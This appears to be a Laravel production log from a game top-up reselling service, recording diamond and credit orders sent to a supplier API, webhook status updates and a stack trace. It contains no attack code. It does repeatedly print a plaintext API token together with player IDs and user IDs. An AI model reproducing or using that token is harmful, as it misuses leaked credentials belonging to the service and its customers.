[2026-03-24 17:32:18] production.INFO: Operation sent successfully {"operation_id":163920,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-1lfcp-1774362737","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:32:18"}},"processed_data":{"order_number":"ORD-1lfcp-1774362737","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:32:30] production.INFO: Constructing job for order: 179014  
[2026-03-24 17:32:33] production.INFO: Handling job for order: 179014  
[2026-03-24 17:32:33] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:32:33] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:32:33] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=71f64cea-d7c5-44e2-96b3-090ecab8de64&Player_ID=14888714523  
[2026-03-24 17:32:33] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=71f64cea-d7c5-44e2-96b3-090ecab8de64&Player_ID=14888714523","has_body":false} 
[2026-03-24 17:32:34] production.INFO: Operation sent successfully {"operation_id":163921,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-O4v-1774362753","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:32:34"}},"processed_data":{"order_number":"ORD-O4v-1774362753","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:32:39] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-1lfcp-1774362737","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:32:39] production.INFO: Processed webhook data (normalized) {"id":"ORD-1lfcp-1774362737","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:32:39] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:32:39] production.INFO: SendAcceptReject: Notification queued {"user_id":1109,"notification_type":"order_approved","reference_id":179013} 
[2026-03-24 17:32:39] production.INFO: Order updated successfully. Order ID: 179013, Status: completed  
[2026-03-24 17:32:39] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-1lfcp-1774362737","status":"completed","codes_count":0} 
[2026-03-24 17:32:40] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1109  
[2026-03-24 17:32:57] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-O4v-1774362753","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:32:57] production.INFO: Processed webhook data (normalized) {"id":"ORD-O4v-1774362753","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:32:57] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:32:57] production.INFO: SendAcceptReject: Notification queued {"user_id":59,"notification_type":"order_approved","reference_id":179014} 
[2026-03-24 17:32:57] production.INFO: Order updated successfully. Order ID: 179014, Status: completed  
[2026-03-24 17:32:57] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-O4v-1774362753","status":"completed","codes_count":0} 
[2026-03-24 17:32:58] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 59  
[2026-03-24 17:33:26] production.INFO: Constructing job for order: 179015  
[2026-03-24 17:33:28] production.INFO: Handling job for order: 179015  
[2026-03-24 17:33:28] production.ERROR: API failed for order 179015 {"order_id":179015,"error_message":"No query results for model [App\\Models\\PriceAsync].","error_code":0,"file":"/home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Builder.php","line":780,"stack_trace":"#0 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(250): Illuminate\\Database\\Eloquent\\Builder->firstOrFail()
#1 /home/talaah/public_html/app/Services/ExternalSite/OrderExternalService.php(29): App\\Services\\ExternalSite\\OrderExternalService->doRequest(179015, 885, 1, '85e3e65e-5435-4...', '[{\"key\":\"userna...', 31, 314)
#2 /home/talaah/public_html/app/Jobs/OrderApiJob.php(71): App\\Services\\ExternalSite\\OrderExternalService->sendOrder(179015)
#3 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): App\\Jobs\\OrderApiJob->handle()
#4 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#5 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#6 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#7 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#8 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(129): Illuminate\\Container\\Container->call(Array)
#9 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Bus\\Dispatcher->{closure:Illuminate\\Bus\\Dispatcher::dispatchNow():126}(Object(App\\Jobs\\OrderApiJob))
#10 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#11 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php(133): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#12 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(134): Illuminate\\Bus\\Dispatcher->dispatchNow(Object(App\\Jobs\\OrderApiJob), false)
#13 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(180): Illuminate\\Queue\\CallQueuedHandler->{closure:Illuminate\\Queue\\CallQueuedHandler::dispatchThroughMiddleware():127}(Object(App\\Jobs\\OrderApiJob))
#14 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(137): Illuminate\\Pipeline\\Pipeline->{closure:Illuminate\\Pipeline\\Pipeline::prepareDestination():178}(Object(App\\Jobs\\OrderApiJob))
#15 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(127): Illuminate\\Pipeline\\Pipeline->then(Object(Closure))
#16 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/CallQueuedHandler.php(68): Illuminate\\Queue\\CallQueuedHandler->dispatchThroughMiddleware(Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(App\\Jobs\\OrderApiJob))
#17 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Jobs/Job.php(102): Illuminate\\Queue\\CallQueuedHandler->call(Object(Illuminate\\Queue\\Jobs\\RedisJob), Array)
#18 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(487): Illuminate\\Queue\\Jobs\\Job->fire()
#19 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(437): Illuminate\\Queue\\Worker->process('redis', Object(Illuminate\\Queue\\Jobs\\RedisJob), Object(Illuminate\\Queue\\WorkerOptions))
#20 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Worker.php(201): Illuminate\\Queue\\Worker->runJob(Object(Illuminate\\Queue\\Jobs\\RedisJob), 'redis', Object(Illuminate\\Queue\\WorkerOptions))
#21 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(148): Illuminate\\Queue\\Worker->daemon('redis', 'default', Object(Illuminate\\Queue\\WorkerOptions))
#22 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Queue/Console/WorkCommand.php(131): Illuminate\\Queue\\Console\\WorkCommand->runWorker('redis', 'default')
#23 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(36): Illuminate\\Queue\\Console\\WorkCommand->handle()
#24 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Util.php(43): Illuminate\\Container\\BoundMethod::{closure:Illuminate\\Container\\BoundMethod::call():35}()
#25 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(96): Illuminate\\Container\\Util::unwrapIfClosure(Object(Closure))
#26 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/BoundMethod.php(35): Illuminate\\Container\\BoundMethod::callBoundMethod(Object(Illuminate\\Foundation\\Application), Array, Object(Closure))
#27 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Container/Container.php(799): Illuminate\\Container\\BoundMethod::call(Object(Illuminate\\Foundation\\Application), Array, Array, NULL)
#28 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(211): Illuminate\\Container\\Container->call(Array)
#29 /home/talaah/public_html/vendor/symfony/console/Command/Command.php(341): Illuminate\\Console\\Command->execute(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#30 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Console/Command.php(180): Symfony\\Component\\Console\\Command\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Illuminate\\Console\\OutputStyle))
#31 /home/talaah/public_html/vendor/symfony/console/Application.php(1102): Illuminate\\Console\\Command->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#32 /home/talaah/public_html/vendor/symfony/console/Application.php(356): Symfony\\Component\\Console\\Application->doRunCommand(Object(Illuminate\\Queue\\Console\\WorkCommand), Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#33 /home/talaah/public_html/vendor/symfony/console/Application.php(195): Symfony\\Component\\Console\\Application->doRun(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#34 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Console/Kernel.php(198): Symfony\\Component\\Console\\Application->run(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#35 /home/talaah/public_html/vendor/laravel/framework/src/Illuminate/Foundation/Application.php(1235): Illuminate\\Foundation\\Console\\Kernel->handle(Object(Symfony\\Component\\Console\\Input\\ArgvInput), Object(Symfony\\Component\\Console\\Output\\ConsoleOutput))
#36 /home/talaah/public_html/artisan(13): Illuminate\\Foundation\\Application->handleCommand(Object(Symfony\\Component\\Console\\Input\\ArgvInput))
#37 {main}","previous_exception":null,"context":{"job_class":"App\\Jobs\\OrderApiJob","timestamp":"2026-03-24 17:33:28","memory_usage":59244544,"memory_peak":59244544}} 
[2026-03-24 17:33:42] production.INFO: Constructing job for order: 179016  
[2026-03-24 17:33:43] production.INFO: Handling job for order: 179016  
[2026-03-24 17:33:43] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:33:43] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:33:43] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=4b08e282-1a49-4056-87ee-378e9840ca37&Player_ID=8578271446  
[2026-03-24 17:33:43] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/89/params?qty=1&uuid=4b08e282-1a49-4056-87ee-378e9840ca37&Player_ID=8578271446","has_body":false} 
[2026-03-24 17:33:43] production.INFO: Operation sent successfully {"operation_id":163922,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-CPe1XE-1774362823","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:33:43"}},"processed_data":{"order_number":"ORD-CPe1XE-1774362823","amount":4.7234999999999995878852132591418921947479248046875,"status":"processing","product":"530+51 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:34:01] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01"} 
[2026-03-24 17:34:01] production.INFO: Found pending operations {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","total_operations":3,"sites_count":1} 
[2026-03-24 17:34:01] production.INFO: Processing site batch {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-CPe1XE-1774362823"]} 
[2026-03-24 17:34:01] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:34:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-CPe1XE-1774362823","operation_id":163922} 
[2026-03-24 17:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:34:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:34:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 17:34:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:01","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:34:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"I1lc34GaxYxUO6zPbEdFeCj1lmmN2WdS","execution_time":"2026-03-24 17:34:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:34:28] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-CPe1XE-1774362823","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:34:28] production.INFO: Processed webhook data (normalized) {"id":"ORD-CPe1XE-1774362823","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:34:28] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:34:28] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"order_approved","reference_id":179016} 
[2026-03-24 17:34:28] production.INFO: Order updated successfully. Order ID: 179016, Status: completed  
[2026-03-24 17:34:28] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-CPe1XE-1774362823","status":"completed","codes_count":0} 
[2026-03-24 17:34:29] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 17:34:56] production.INFO: Constructing job for order: 179017  
[2026-03-24 17:34:59] production.INFO: Handling job for order: 179017  
[2026-03-24 17:34:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:34:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:34:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=890d0b19-be3e-42b7-9773-b4621eca1e4a&Player_ID=8578271446  
[2026-03-24 17:34:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=890d0b19-be3e-42b7-9773-b4621eca1e4a&Player_ID=8578271446","has_body":false} 
[2026-03-24 17:35:00] production.INFO: Operation sent successfully {"operation_id":163923,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-TgN-1774362899","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:35:00"}},"processed_data":{"order_number":"ORD-TgN-1774362899","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:35:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 17:35:03] production.INFO: Executing GetProducts task...  
[2026-03-24 17:35:05] production.INFO: async() رجع: true  
[2026-03-24 17:35:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 17:35:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 213 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 212 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 211 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 210 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 209 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 214 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 215 not found  
[2026-03-24 17:35:05] production.WARNING: Product with ID 216 not found  
[2026-03-24 17:35:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 17:35:31] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-TgN-1774362899","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:35:31] production.INFO: Processed webhook data (normalized) {"id":"ORD-TgN-1774362899","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:35:31] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:35:31] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"order_approved","reference_id":179017} 
[2026-03-24 17:35:31] production.INFO: Order updated successfully. Order ID: 179017, Status: completed  
[2026-03-24 17:35:31] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-TgN-1774362899","status":"completed","codes_count":0} 
[2026-03-24 17:35:33] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 17:35:50] production.INFO: Constructing job for order: 179018  
[2026-03-24 17:35:51] production.INFO: Handling job for order: 179018  
[2026-03-24 17:35:51] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:35:51] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:35:51] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=647bf247-3977-44a5-8461-5bf2e17333d9&Player_ID=8578271446  
[2026-03-24 17:35:51] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/86/params?qty=1&uuid=647bf247-3977-44a5-8461-5bf2e17333d9&Player_ID=8578271446","has_body":false} 
[2026-03-24 17:35:52] production.INFO: Operation sent successfully {"operation_id":163924,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-DB6P4Tw-1774362952","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 17:35:52"}},"processed_data":{"order_number":"ORD-DB6P4Tw-1774362952","amount":0.9396750000000000380140363631653599441051483154296875,"status":"processing","product":"100+10 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 17:36:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04"} 
[2026-03-24 17:36:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","total_operations":3,"sites_count":1} 
[2026-03-24 17:36:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","orders_count":3,"order_ids":["ORD-j5G7ZL-1774360319","ORD-HWeTvU-1774361666","ORD-DB6P4Tw-1774362952"]} 
[2026-03-24 17:36:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 17:36:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":3} 
[2026-03-24 17:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-DB6P4Tw-1774362952","operation_id":163924} 
[2026-03-24 17:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-HWeTvU-1774361666","operation_id":163897} 
[2026-03-24 17:36:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:36:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"skipped":3,"updates_prepared":0} 
[2026-03-24 17:36:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853,"processed":0,"errors":0} 
[2026-03-24 17:36:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"K7kcOQDGBiLWwYPfpH1HKcLJlHGSgXxb","execution_time":"2026-03-24 17:36:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-j5G7ZL-1774360319","operation_id":163853} 
[2026-03-24 17:36:12] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-DB6P4Tw-1774362952","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 17:36:12] production.INFO: Processed webhook data (normalized) {"id":"ORD-DB6P4Tw-1774362952","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 17:36:12] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:36:12] production.INFO: SendAcceptReject: Notification queued {"user_id":1247,"notification_type":"order_approved","reference_id":179018} 
[2026-03-24 17:36:12] production.INFO: Order updated successfully. Order ID: 179018, Status: completed  
[2026-03-24 17:36:12] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-DB6P4Tw-1774362952","status":"completed","codes_count":0} 
[2026-03-24 17:36:13] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1247  
[2026-03-24 17:36:43] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-HWeTvU-1774361666","status":"completed","notes":[],"codes":[]}} 
[2026-03-24 17:36:43] production.INFO: Processed webhook data (normalized) {"id":"ORD-HWeTvU-1774361666","status":"completed","codes":[],"notes":[]} 
[2026-03-24 17:36:43] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:36:43] production.INFO: SendAcceptReject: Notification queued {"user_id":1141,"notification_type":"order_approved","reference_id":178990} 
[2026-03-24 17:36:43] production.INFO: Order updated successfully. Order ID: 178990, Status: completed  
[2026-03-24 17:36:43] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-HWeTvU-1774361666","status":"completed","codes_count":0} 
[2026-03-24 17:36:43] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 1141  
[2026-03-24 17:37:07] production.INFO: Constructing job for order: 179019  
[2026-03-24 17:37:10] production.INFO: Handling job for order: 179019  
[2026-03-24 17:37:10] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:37:10] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:37:10] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=3df43b8a-d21d-4393-b1af-107934e0bf46&Player_ID=971315909  
[2026-03-24 17:37:10] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=3df43b8a-d21d-4393-b1af-107934e0bf46&Player_ID=971315909","has_body":false} 
[2026-03-24 17:37:11] production.INFO: Operation sent successfully {"operation_id":163925,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-36h2NS-1774363031","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 17:37:11"}},"processed_data":{"order_number":"ORD-36h2NS-1774363031","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 17:37:17] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-36h2NS-1774363031","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 17:37:17] production.INFO: Processed webhook data (normalized) {"id":"ORD-36h2NS-1774363031","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 17:37:17] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 17:37:17] production.INFO: SendAcceptReject: Notification queued {"user_id":312,"notification_type":"order_approved","reference_id":179019} 
[2026-03-24 17:37:17] production.INFO: Order updated successfully. Order ID: 179019, Status: completed  
[2026-03-24 17:37:17] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-36h2NS-1774363031","status":"completed","codes_count":0} 
[2026-03-24 17:37:17] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 312  
[2026-03-24 17:37:57] production.INFO: Constructing job for order: 179020  
[2026-03-24 17:37:59] production.INFO: Handling job for order: 179020  
[2026-03-24 17:37:59] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 17:37:59] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 17:37:59] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a94998ad-ec73-458e-be25-9ba559705632&Player_ID=52246877112  
[2026-03-24 17:37:59] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=a94998ad-ec73-458e-be25-9ba559705632&Player_ID=52246877112","has_body":false} 
